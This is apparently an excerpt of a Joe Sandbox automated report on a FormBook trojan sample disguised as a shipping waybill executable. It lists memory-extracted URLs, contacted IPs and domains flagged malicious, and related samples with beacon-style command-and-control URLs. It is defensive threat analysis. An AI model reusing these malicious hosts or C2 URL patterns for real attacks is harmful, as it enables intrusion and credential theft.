http://lakemontbellevue.net/wp-content/plugins/bluehost-wordpress-plugin/vendor/newfold-labs/wp-modu	jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/js/wow.js?ver=6.5.5	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	45570IH2.4.dr	false	Avira URL Cloud: safe	unknown
https://lakemontbellevue.net/#/schema/logo/image/	jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://i0.wp.com/lakemontbellevue.net/wp-content/uploads/2024/05/Lakemont-Logo-1-1.png?fit=220%2C70	jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://schema.org	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lakemontbellevue.net/wp-json/	jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/favicon.ico	RpcPing.exe, 00000004.00000003.18883512956.0000000007B99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress//assets/js/mobile-menu.js?ver=6.5.5	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lakemontbellevue.net/?s=	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress//assets/js/menu.js?ver=6.5.5	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aaa.za1.jecxs.cn/123.html	RpcPing.exe, 00000004.00000002.23187811443.0000000003EB6000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.00000000032F6000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lakemontbellevue.net/privacy-policy/	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/js/animation/animate.js?ver=6.	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-includes/js/mediaelement/wp-mediaelement.min.css?ver=6.5.5	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.userway.org/widget.js	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-includes/css/dist/block-library/style.min.css?ver=6.5.5	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/js/owl.carousel.min.js?ver=6.5	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lakemontbellevue.net/xmlrpc.php?rsd	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://yoast.com/wordpress/plugins/seo/	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.google.com/chrome/?p=plugin_flash	RpcPing.exe, 00000004.00000002.23189698242.0000000007B82000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-includes/js/comment-reply.min.js?ver=6.5.5	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/animate.css?ver=6.5.5	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/js/bootstrap.min.js?ver=6.5.5	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://i0.wp.com/lakemontbellevue.net/wp-content/uploads/2024/05/MacPhersons-Logo.png?w=512&ssl	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/js/main.js?ver=6.5.5	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lakemontbellevue.net/wp-content/uploads/2024/05/MacPhersons-Logo.png	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://i0.wp.com/lakemontbellevue.net/wp-content/uploads/2024/05/cropped-Lakemont-favicon.png?fit=3	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://i0.wp.com/lakemontbellevue.net/wp-content/uploads/2024/05/cropped-Lakemont-favicon.png?fit=2	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://macphersonspm.appfolio.com/connect/users/sign_in	jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://i0.wp.com/lakemontbellevue.net/wp-content/uploads/2024/05/cropped-Lakemont-favicon.png?fit=1	jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/js/custom.js?ver=6.5.5	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.orthonow.live	jFlHFdZgIYNZqR.exe, 00000005.00000002.23185812160.0000000000E75000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	45570IH2.4.dr	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/skin-default.css?ver=6.5.5	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-content/themes/awp-marketing-agency/style.css?ver=6.5.5	jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.w.org/	jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stats.wp.com/e-202427.js	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/font-awesome/css/font-awes	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/owl.carousel.css?ver=6.5.5	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	RpcPing.exe, 00000004.00000003.18883512956.0000000007B99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/js/jquery.min.js?ver=6.5.5	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://vintagewins.com/n8dl/?vX=FC28	RpcPing.exe, 00000004.00000002.23187811443.0000000004822000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003C62000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hm.baidu.com/hm.js?be472e8744edb3816324a1183cdffac6	RpcPing.exe, 00000004.00000002.23187811443.0000000003EB6000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.00000000032F6000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress//assets/js/screen-reader-text.js?ver=	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hm.baidu.com/hm.js?800ccf274c3a593a3653e6acbfb00c7c	RpcPing.exe, 00000004.00000002.23187811443.0000000003EB6000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.00000000032F6000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lakemontbellevue.net/wp-content/uploads/2024/05/Lakemont-Logo-1-1.png	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/menu.css?ver=6.5.5	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/all.min.css?ver=6.5.5	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-content/themes/awp-marketing-agency/assets/css/dark-brown-theme.css?v	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RpcPing.exe, 00000004.00000003.18883512956.0000000007B99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://i0.wp.com/lakemontbellevue.net/wp-content/uploads/2024/05/MacPhersons-Logo.png?resize=300%2C	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
66.235.200.145	lakemontbellevue.com	United States	13335	CLOUDFLARENETUS	true
203.161.50.127	www.spotluv.xyz	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	true
103.120.176.124	vintagewins.com	India	17439	NETMAGIC-APNetmagicDatacenterMumbaiIN	true
154.53.59.40	adamknoxexperience.com	United States	174	COGENT-174US	false
84.32.84.192	www.paliinfra.com.cdn.hstgr.net	Lithuania	33922	NTT-LT-ASLT	true
172.67.146.224	www.olhadeputat.com	United States	13335	CLOUDFLARENETUS	true
74.208.236.38	www.costmoon.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	true
199.59.243.226	www.orthonow.live	United States	395082	BODIS-NJUS	true
74.208.236.230	www.motorsportgives.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	true
142.202.6.230	www.6171nvuhb.rent	Reserved	62838	REPRISE-HOSTINGUS	true
3.33.130.190	musiccitysauce.com	United States	8987	AMAZONEXPANSIONGB	true
44.227.65.245	pixie.porkbun.com	United States	16509	AMAZON-02US	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467058
Start date and time:	2024-07-03 17:31:42 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 17m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	AWB NO. 077-57676135055.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/5@16/12
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 46 Number of non-executed functions: 258
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: AWB NO. 077-57676135055.exe

Simulations

Behavior and APIs

Time	Type	Description
11:35:13	API Interceptor	33676564x Sleep call for process: RpcPing.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
66.235.200.145	DHL Receipt_AWB#20240079104.exe	Get hash	malicious	FormBook	Browse	www.lakemontbellevue.com/ld28/?3Xd=detQRJhNSOte/MMKAeFCHQdrYsI9TT+LmPx5A1J5xMe4V34+sX8EdyBejeqfNCZfKSqZdnV4VnFNmZ4/AzmN1DMS5R4a1wm07eTy015a8TIqAfj/mBukJiQ=&Cdl=szJ4
	INVOICE087667899.exe	Get hash	malicious	Unknown	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	2FcJgghyXg.exe	Get hash	malicious	FormBook	Browse	www.soccercitycupsc.com/us94/?FV9l7b=S5srMiwBCDtV4rjo3jAT9rEjkkSDttoSOLAmgXzTQBVP9tcOlEr2qFRjTuqDw5Sxe1FF&BbW=QzuhmF0pKL
	ClbrTLBbVA.exe	Get hash	malicious	FormBook	Browse	www.adornmentwithadrienne.com/ne28/?yXB=JRhSHg+E0kVeMb5bWxBNKjX7GZb/Gd7gTaCbDgRTO6UaOuEkMa6xiN+s4LYpa+moX3ut&DR-Hl=f48d7hbXPvmPj
	r5573XLX_Confirming_685738_Permiso.vbs	Get hash	malicious	FormBook	Browse	www.shivanshnegi.com/hb6q/?kF=SLfnpSH8JFkD4JBvPgRq/MrmccQ0IKCWuyGgdNK0iEg51HeS6g2oNSkb61BOtzoBwxfmw1AFCol6MwSDOKA9DD+yD/DKRM1OfQ==&LPW33a=EJ_Y5C3RY2AMjvtQ
	BBVA-Confirming_Facturas_Pagadas_al_Vencimiento.vbs	Get hash	malicious	FormBook	Browse	www.shivanshnegi.com/hb6q/?3t-_2h=lQe4u&_30_T=SLfnpSH8JFkD4JBvPgRq/MrmccQ0IKCWuyGgdNK0iEg51HeS6g2oNSkb61BOtzoBwxfmw1AFCol6MwSDOKA9DD+yD/DKRM1OfQ==
	GlobalImagingDocuments9575734549684.vbs	Get hash	malicious	FormBook	Browse	www.shivanshnegi.com/g0c0/?J1ZahCdL=C0KZfCw3M9dgcVMegUaXT5mHrabIsWwgKIwZghABK/zPnQmv2J3/nbZH+UKlayZCqk+j1NVXNAMuRNCfj24K4Q5P5C8DM0dqWdfKhTZFySIl&uEk=kKVhb1ODb
	0ySMPNiDoA.exe	Get hash	malicious	FormBook	Browse	www.theunstoppabletravelers.com/a19i/?4hkT=rLtsLZhSdQwFRkvaG8FjiaGEB8J9o/aSV6LeKN0wyHa1R2N5aTBKUDHw+apOLNME5B3p&aHzLRr=9rl0dna
	6014853.exe	Get hash	malicious	FormBook	Browse	www.firepowerexpo.com/f649/?Ih3=m1lqWHCBQ/kUfIId9G1Zl7+cXxQgMOESuv3uKkpy1j9VjbvHsanxuQVfMZjTZucRw3bqX9o71XHJz8Ptxs35IAYHht5fw0SXRQ==&FTBSzg=_AtxeQJqoYkM5z7B
	DHL Consignment Details_pdf.exe	Get hash	malicious	FormBook	Browse	www.atwatercab.com/s20g/?x8b=8pNLsfJxhBPPAD4P&d48PB=rZ/46zgpbKJOe2X3A4FYFLQg1vAXxuRWnT2LQvG1tr3ZSe4vYgV8EIvoDLg6imzOZAE7E347lg==
203.161.50.127	PAYROLL.doc	Get hash	malicious	FormBook	Browse	www.evolveenterprises.top/ro6r/?dJqp=o4zmNqBJYlNtN0UyHUxno7qBCaLAqrJphLcgIRpT4n8ozC/7e7pDBEqM2Rd+uJTS6EPOWI0i7oPhIrHAygO87MqHngSCYYqQB9vq6D9ICnr41afOJLQGIeUNryzh&WnF4=YlbDSxW
	yZcecBUXN7.exe	Get hash	malicious	FormBook	Browse	www.quantummquest.top/0hhg/
	EMPLOYEE-FINAL-SETTLEMENTS.doc	Get hash	malicious	FormBook	Browse	www.quantummquest.top/0hhg/
	n5CCcrkB0Q.exe	Get hash	malicious	FormBook	Browse	www.quantummquest.top/0hhg/
	tee030.doc	Get hash	malicious	FormBook	Browse	www.quantummquest.top/0hhg/
	Inquiries_PDF.exe	Get hash	malicious	FormBook	Browse	www.titantechnologies.life/gh9e/
	ALL-LINK DRAFT_gz.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.radiantresources.xyz/9q39/
	fedex awb &Invoice.vbs	Get hash	malicious	FormBook	Browse	www.radiantresources.xyz/r6ib/
	KCS20240042- cutoms clearance doc.exe	Get hash	malicious	FormBook	Browse	www.titantechnologies.life/gh9e/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.6171nvuhb.rent	SecuriteInfo.com.Trojan.AutoIt.1410.27401.28230.exe	Get hash	malicious	FormBook	Browse	142.202.6.230
www.costmoon.com	7RsDGpyOQk.exe	Get hash	malicious	FormBook	Browse	74.208.236.38
www.costmoon.com	SecuriteInfo.com.Trojan.AutoIt.1410.27401.28230.exe	Get hash	malicious	FormBook	Browse	74.208.236.38
www.motorsportgives.com	SecuriteInfo.com.Trojan.AutoIt.1410.27401.28230.exe	Get hash	malicious	FormBook	Browse	74.208.236.230
pixie.porkbun.com	7RsDGpyOQk.exe	Get hash	malicious	FormBook	Browse	44.227.65.245
	INVOICE - MV CNC BANGKOK - ST24PJ-278.exe	Get hash	malicious	FormBook	Browse	44.227.76.166
	PROFORMA INVOICE - MV CNC BANGKOK - ST24PJ-287.exe	Get hash	malicious	FormBook	Browse	44.227.76.166
	MT103-746394.doc	Get hash	malicious	FormBook	Browse	44.227.65.245
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.23906.18593.rtf	Get hash	malicious	FormBook	Browse	44.227.65.245
	PO TRO-1075 - TRO-1076 904504608468.pdf.exe	Get hash	malicious	FormBook	Browse	44.227.76.166
	Eugg3yid0O.exe	Get hash	malicious	FormBook	Browse	44.227.76.166
	Maersk Arrival Notice ready for Bill of Lading 238591458-393747337-837473734-283473743.exe	Get hash	malicious	FormBook	Browse	44.227.65.245
	Purchase Order For Consumables Eltra 888363725_9645364782_1197653623_836652746_22994644.exe	Get hash	malicious	FormBook	Browse	44.227.76.166
	UAyH98ukuA.exe	Get hash	malicious	FormBook	Browse	44.227.76.166

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VNPT-AS-VNVNPTCorpVN	file.exe	Get hash	malicious	FormBook	Browse	203.161.43.228
	fisher man.exe	Get hash	malicious	FormBook	Browse	203.161.55.124
	GJRX21GBj3.exe	Get hash	malicious	FormBook	Browse	203.161.55.102
	MUdeeReQ5R.exe	Get hash	malicious	FormBook	Browse	203.161.43.228
	7RsDGpyOQk.exe	Get hash	malicious	FormBook	Browse	203.161.41.205
	RR1h1iO6W2.exe	Get hash	malicious	FormBook	Browse	203.161.49.220
	SOA 020724.exe	Get hash	malicious	FormBook	Browse	203.161.49.220
	RW-TS-Payment204_A3084_04893_D4084_Y5902_CE3018_S4081_W30981.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	203.161.46.44
	Fiyat ARH-4309745275.pdf240012048477374'dir.PO 13u40000876.exe	Get hash	malicious	FormBook	Browse	203.161.49.220
	Siparis. 000867000960 TAVSAN order_Optium A.s 03.07.2024.exe	Get hash	malicious	FormBook	Browse	203.161.49.220
COGENT-174US	https://www.filemail.com/t/RuKZYfeB	Get hash	malicious	HTMLPhisher	Browse	23.237.152.90
	8bwKawHg0Z.exe	Get hash	malicious	FormBook	Browse	38.6.177.47
	7RsDGpyOQk.exe	Get hash	malicious	FormBook	Browse	38.47.232.185
	GA4vpVYBVP.exe	Get hash	malicious	DBatLoader, FormBook	Browse	206.233.240.73
	GaTxCRa6li.exe	Get hash	malicious	GuLoader	Browse	38.153.61.199
	file.exe	Get hash	malicious	FormBook	Browse	38.47.158.160
	spc.elf	Get hash	malicious	Mirai	Browse	38.162.204.50
	watchdog.elf	Get hash	malicious	Mirai	Browse	38.251.174.191
	pKqvOdh3Sv.elf	Get hash	malicious	Mirai, Moobot	Browse	206.5.238.105
	http://d.sogouad.vip/txt/black.txt	Get hash	malicious	Unknown	Browse	206.119.165.54
NETMAGIC-APNetmagicDatacenterMumbaiIN	VSL_BUNKER INQUIRY.exe	Get hash	malicious	FormBook	Browse	103.120.178.210
	cbIcBAgY5W.exe	Get hash	malicious	SystemBC	Browse	103.235.106.10
	td2RgV6HyP.exe	Get hash	malicious	SystemBC	Browse	101.53.150.12
	VSL_BUNKER INQUIRY.exe	Get hash	malicious	FormBook	Browse	103.120.178.210
	PAYMENT COPY.exe	Get hash	malicious	FormBook	Browse	103.120.178.210
	m2PQz5E1Zv.elf	Get hash	malicious	Mirai	Browse	180.179.125.117
	NnS9ImJPht.elf	Get hash	malicious	Unknown	Browse	203.95.216.191
	z8s945rPmZ.exe	Get hash	malicious	SystemBC	Browse	103.143.46.83
	M0akqPlgtl.elf	Get hash	malicious	Mirai	Browse	180.179.125.122
	sEzW1OZkw1.elf	Get hash	malicious	Gafgyt, Mirai	Browse	103.214.114.32
CLOUDFLARENETUS	RFQ 20726 - T5 7841.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Service Desk - Please verify your Account!.eml	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	MKCC-MEC-RFQ-115-2024.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	https://mail.pfl.fyi/v1/messages/0190749a-2f6a-7c9f-b37a-88f0ae969ede/click?link_id=0190749a-2ffa-7f41-ad16-3ecda235df51&signature=3e892faf1c0137166fda82e5ff5c6a3150c2cec9	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	http://beetrootculture.com	Get hash	malicious	Unknown	Browse	104.22.21.226
